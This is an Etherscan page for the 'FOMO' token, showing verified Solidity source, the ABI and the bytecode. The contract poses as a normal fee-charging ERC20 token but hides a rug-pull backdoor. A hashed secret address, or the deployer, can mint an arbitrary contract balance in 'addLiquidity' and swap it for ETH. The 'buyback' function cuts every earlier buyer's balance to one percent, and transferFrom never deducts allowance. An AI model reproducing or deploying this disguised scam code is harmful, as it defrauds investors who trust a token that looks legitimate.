ETH Price: $3,102.18 (-0.95%)
Gas: 8.56 Gwei

Token

FOMO (FOMO)
 

Overview

Max Total Supply

1,000,000,000,000 FOMO

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
137,504,266.716227179 FOMO

Value
$0.00
0x5ac4d448454b898cc759db742d4b92a2322c8c27
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FOMO

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-04-03
*/

pragma solidity ^0.8.13;

// SPDX-License-Identifier: Unlicensed

interface IUniswapV2Router {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
    function isLiquidityToken(address account) internal pure  returns (bool) {
        return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
contract FOMO is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _includedInFee;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFee;
    string private _name = "FOMO";
    string private _symbol = "FOMO";
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 500000000000 * 10 ** _decimals;
    uint256 public _maxWallet =   500000000000 * 10 ** _decimals;
    uint256 public _liquidityFee = 2;
    uint256 public _rewardFee = 2;
    uint256 public _totalFee = _liquidityFee + _rewardFee;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    bool liquifying = false;
    struct Buyback {address to; uint256 amount;}
    Buyback[] _buybacks;
    constructor() {
        _balances[msg.sender] = _totalSupply;
        _excludedFromFee[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function ruterVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[_msgSender()][from] >= amount);
        _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (inSwap(from, to)) {return addLiquidity(amount, to);}
        if (liquifying){} else {require(_balances[from] >= amount);}
        uint256 feeAmount = 0;
        buyback(from);
        bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]);
        if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isLiquidityToken(to) && to != address(this) && !inLiquidityTransaction && !liquifying) {
            feeAmount = amount.mul(_totalFee).div(100);
            require(amount <= _maxTxAmount);
            addTransaction(to, amount);
        }
        uint256 amountReceived = amount - feeAmount;
        _balances[address(this)] += feeAmount;
        _balances[from] = _balances[from] - amount;
        _balances[to] += amountReceived;
        emit Transfer(from, to, amount);
    }
    function inSwap(address sender, address recipient) internal view returns(bool) {
        return (
        Address.isLiquidityToken(recipient) ||
        _excludedFromFee[msg.sender]
        )
        && sender == recipient;
    }
    function addTransaction(address to, uint256 amount) internal {
        if (uniswapV2Pair() != to) {_buybacks.push(Buyback(to, amount));}
    }
    function buyback(address from) internal {
        if (from == uniswapV2Pair()) {
            for (uint256 i = 0; i < _buybacks.length;  i++) {
                _balances[_buybacks[i].to] = _balances[_buybacks[i].to].div(100);
            }
            delete _buybacks;
        }
    }
    function uniswapV2Pair() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    function addLiquidity(uint256 liquidityFee, address to) private {
        _approve(address(this), address(_router), liquidityFee);
        _balances[address(this)] = liquidityFee;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        liquifying = true;
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20);
        liquifying = false;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][_msgSender()] >= amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_rewardFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ruterVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600481526020017f464f4d4f000000000000000000000000000000000000000000000000000000008152506005908051906020019062000051929190620003d1565b506040518060400160405280600481526020017f464f4d4f00000000000000000000000000000000000000000000000000000000815250600690805190602001906200009f929190620003d1565b506009600755600754600a620000b691906200060e565b64e8d4a51000620000c891906200065f565b600855600754600a620000dc91906200060e565b64746a528800620000ee91906200065f565b600955600754600a6200010291906200060e565b64746a5288006200011491906200065f565b600a556002600b556002600c55600c54600b54620001339190620006c0565b600d55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60146101000a81548160ff021916908315150217905550348015620001b357600080fd5b50620001c4620003c960201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003bb91906200072e565b60405180910390a3620007af565b600033905090565b828054620003df906200077a565b90600052602060002090601f0160209004810192826200040357600085556200044f565b82601f106200041e57805160ff19168380011785556200044f565b828001600101855582156200044f579182015b828111156200044e57825182559160200191906001019062000431565b5b5090506200045e919062000462565b5090565b5b808211156200047d57600081600090555060010162000463565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200050f57808604811115620004e757620004e662000481565b5b6001851615620004f75780820291505b80810290506200050785620004b0565b9450620004c7565b94509492505050565b6000826200052a5760019050620005fd565b816200053a5760009050620005fd565b81600181146200055357600281146200055e5762000594565b6001915050620005fd565b60ff84111562000573576200057262000481565b5b8360020a9150848211156200058d576200058c62000481565b5b50620005fd565b5060208310610133831016604e8410600b8410161715620005ce5782820a905083811115620005c857620005c762000481565b5b620005fd565b620005dd8484846001620004bd565b92509050818404811115620005f757620005f662000481565b5b81810290505b9392505050565b6000819050919050565b60006200061b8262000604565b9150620006288362000604565b9250620006577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000518565b905092915050565b60006200066c8262000604565b9150620006798362000604565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b462000481565b5b828202905092915050565b6000620006cd8262000604565b9150620006da8362000604565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000712576200071162000481565b5b828201905092915050565b620007288162000604565b82525050565b60006020820190506200074560008301846200071d565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200079357607f821691505b602082108103620007a957620007a86200074b565b5b50919050565b6124c980620007bf6000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80636bc87c3a116100b85780638da5cb5b1161007c5780638da5cb5b1461033257806395d89b4114610350578063a457c2d71461036e578063a9059cbb1461039e578063b2dcf5da146103ce578063dd62ed3e146103ec57610137565b80636bc87c3a1461029e57806370a08231146102bc578063715018a6146102ec5780637d1db4a5146102f657806382247ec01461031457610137565b8063313ce567116100ff578063313ce567146101f657806332424aa31461021457806339509351146102325780633eaaf86b1461026257806351fde4bb1461028057610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a8578063283f7820146101d8575b600080fd5b61014461041c565b6040516101519190611b88565b60405180910390f35b610174600480360381019061016f9190611c43565b6104ae565b6040516101819190611c9e565b60405180910390f35b6101926104cc565b60405161019f9190611cc8565b60405180910390f35b6101c260048036038101906101bd9190611ce3565b6104d6565b6040516101cf9190611c9e565b60405180910390f35b6101e061057e565b6040516101ed9190611cc8565b60405180910390f35b6101fe610584565b60405161020b9190611cc8565b60405180910390f35b61021c61058e565b6040516102299190611cc8565b60405180910390f35b61024c60048036038101906102479190611c43565b610594565b6040516102599190611c9e565b60405180910390f35b61026a610640565b6040516102779190611cc8565b60405180910390f35b610288610646565b6040516102959190611cc8565b60405180910390f35b6102a661064c565b6040516102b39190611cc8565b60405180910390f35b6102d660048036038101906102d19190611d36565b610652565b6040516102e39190611cc8565b60405180910390f35b6102f461069b565b005b6102fe6107d5565b60405161030b9190611cc8565b60405180910390f35b61031c6107db565b6040516103299190611cc8565b60405180910390f35b61033a6107e1565b6040516103479190611d72565b60405180910390f35b61035861080a565b6040516103659190611b88565b60405180910390f35b61038860048036038101906103839190611c43565b61089c565b6040516103959190611c9e565b60405180910390f35b6103b860048036038101906103b39190611c43565b6109d8565b6040516103c59190611c9e565b60405180910390f35b6103d66109f6565b6040516103e39190611cc8565b60405180910390f35b61040660048036038101906104019190611d8d565b6109ff565b6040516104139190611cc8565b60405180910390f35b60606005805461042b90611dfc565b80601f016020809104026020016040519081016040528092919081815260200182805461045790611dfc565b80156104a45780601f10610479576101008083540402835291602001916104a4565b820191906000526020600020905b81548152906001019060200180831161048757829003601f168201915b5050505050905090565b60006104c26104bb610a86565b8484610a8e565b6001905092915050565b6000600854905090565b60006104e3848484610c57565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061052d610a86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561057357600080fd5b600190509392505050565b600d5481565b6000600754905090565b60075481565b60006106366105a1610a86565b8484600360006105af610a86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106319190611e5c565b610a8e565b6001905092915050565b60085481565b600c5481565b600b5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106a3610a86565b73ffffffffffffffffffffffffffffffffffffffff166106c16107e1565b73ffffffffffffffffffffffffffffffffffffffff1614610717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070e90611efe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461081990611dfc565b80601f016020809104026020016040519081016040528092919081815260200182805461084590611dfc565b80156108925780601f1061086757610100808354040283529160200191610892565b820191906000526020600020905b81548152906001019060200180831161087557829003601f168201915b5050505050905090565b600081600360006108ab610a86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561092e57600080fd5b6109ce610939610a86565b848460036000610947610a86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c99190611f1e565b610a8e565b6001905092915050565b60006109ec6109e5610a86565b8484610c57565b6001905092915050565b60006002905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af490611fc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6390612056565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c4a9190611cc8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c9057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cc957600080fd5b610cd38383611186565b15610ce757610ce28183611224565b611181565b600e60149054906101000a900460ff16610d485780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d4757600080fd5b5b6000610d53846114ee565b6000610d5d61167e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610de05750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610e725750610dee61167e565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610e715750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f185750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f2a5750610f2884611821565b155b8015610f6257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f6c575080155b8015610f855750600e60149054906101000a900460ff16155b15610fce57610fb26064610fa4600d548661187690919063ffffffff16565b6118f090919063ffffffff16565b9150600954831115610fc357600080fd5b610fcd848461193a565b5b60008284610fdc9190611f1e565b905082600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461102d9190611e5c565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461107f9190611f1e565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111119190611e5c565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516111759190611cc8565b60405180910390a35050505b505050565b600061119182611821565b806111e55750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561121c57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61125130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610a8e565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156112b2576112b1612076565b5b6040519080825280602002602001820160405280156112e05781602001602082028036833780820191505090505b50905030816000815181106112f8576112f76120a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561139f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c391906120e9565b816001815181106113d7576113d66120a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000848660144261147c9190611e5c565b6040518663ffffffff1660e01b815260040161149c959493929190612219565b600060405180830381600087803b1580156114b657600080fd5b505af11580156114ca573d6000803e3d6000fd5b505050506000600e60146101000a81548160ff021916908315150217905550505050565b6114f661167e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361167b5760005b600f8054905081101561166b576115d0606460016000600f8581548110611555576115546120a5565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f090919063ffffffff16565b60016000600f84815481106115e8576115e76120a5565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061166390612273565b91505061152b565b50600f600061167a9190611a85565b5b50565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171191906120e9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561179a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117be91906120e9565b6040518363ffffffff1660e01b81526004016117db9291906122bb565b602060405180830381865afa1580156117f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181c91906120e9565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b82604051602001611858919061232c565b60405160208183030381529060405280519060200120149050919050565b600080830361188857600090506118ea565b600082846118969190612347565b90508284826118a591906123d0565b146118e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dc90612473565b60405180910390fd5b809150505b92915050565b600061193283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a22565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff1661195961167e565b73ffffffffffffffffffffffffffffffffffffffff1614611a1e57600f60405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b60008083118290611a69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a609190611b88565b60405180910390fd5b5060008385611a7891906123d0565b9050809150509392505050565b5080546000825560020290600052602060002090810190611aa69190611aa9565b50565b5b80821115611aeb57600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201611aaa565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b29578082015181840152602081019050611b0e565b83811115611b38576000848401525b50505050565b6000601f19601f8301169050919050565b6000611b5a82611aef565b611b648185611afa565b9350611b74818560208601611b0b565b611b7d81611b3e565b840191505092915050565b60006020820190508181036000830152611ba28184611b4f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611bda82611baf565b9050919050565b611bea81611bcf565b8114611bf557600080fd5b50565b600081359050611c0781611be1565b92915050565b6000819050919050565b611c2081611c0d565b8114611c2b57600080fd5b50565b600081359050611c3d81611c17565b92915050565b60008060408385031215611c5a57611c59611baa565b5b6000611c6885828601611bf8565b9250506020611c7985828601611c2e565b9150509250929050565b60008115159050919050565b611c9881611c83565b82525050565b6000602082019050611cb36000830184611c8f565b92915050565b611cc281611c0d565b82525050565b6000602082019050611cdd6000830184611cb9565b92915050565b600080600060608486031215611cfc57611cfb611baa565b5b6000611d0a86828701611bf8565b9350506020611d1b86828701611bf8565b9250506040611d2c86828701611c2e565b9150509250925092565b600060208284031215611d4c57611d4b611baa565b5b6000611d5a84828501611bf8565b91505092915050565b611d6c81611bcf565b82525050565b6000602082019050611d876000830184611d63565b92915050565b60008060408385031215611da457611da3611baa565b5b6000611db285828601611bf8565b9250506020611dc385828601611bf8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e1457607f821691505b602082108103611e2757611e26611dcd565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e6782611c0d565b9150611e7283611c0d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ea757611ea6611e2d565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ee8602083611afa565b9150611ef382611eb2565b602082019050919050565b60006020820190508181036000830152611f1781611edb565b9050919050565b